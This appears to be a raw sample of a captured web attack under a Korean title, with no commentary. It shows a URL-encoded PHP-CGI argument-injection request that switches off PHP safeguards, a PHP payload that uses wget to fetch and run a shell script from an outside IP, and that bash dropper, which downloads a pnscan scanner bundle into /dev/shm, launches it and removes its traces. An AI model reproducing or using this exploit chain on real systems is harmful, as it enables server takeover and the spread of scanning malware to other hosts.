쉘코드 웹공격 사례 샘플

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.0

<?php system("wget http://221.132.xxx.26/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

/tmp/sh

#!/bin/bash

dontrun=""

arch=`uname -m`

cd /dev/shm

function runPnscan()

{

cd /dev/shm

chmod +x pnscan php

bash run &

}

function isPnscanOn()

{

        pid=`pidof pnscan`

        if [ "$pid" == "" ];then

                retval=0

        else

                retval=1

        fi

        echo "$retval"

}

        cd /dev/shm

        if [ ! -f pnscan ];then

        case "$arch" in

                "x86_64")

                wget -q http://bont.xxx/ar/64.tgz -O 64.tgz

                tar xvzf 64.tgz

                rm -rf 64.tgz

                ;;

                *)

                wget -q http://bont.xxx/ar/86.tgz -O 86.tgz

                tar xvzf 86.tgz

                rm -rf 86.tgz

                ;;

        esac

        fi

if [ $(isPnscanOn) == 1 ];then

#        echo "Running"

        exit

else

        echo "Not Running"

        if [ "$dontrun" != "1" ];then

                $(runPnscan)

        fi

fi

rm -rf /dev/shm/run

rm -rf /dev/shm/pnscan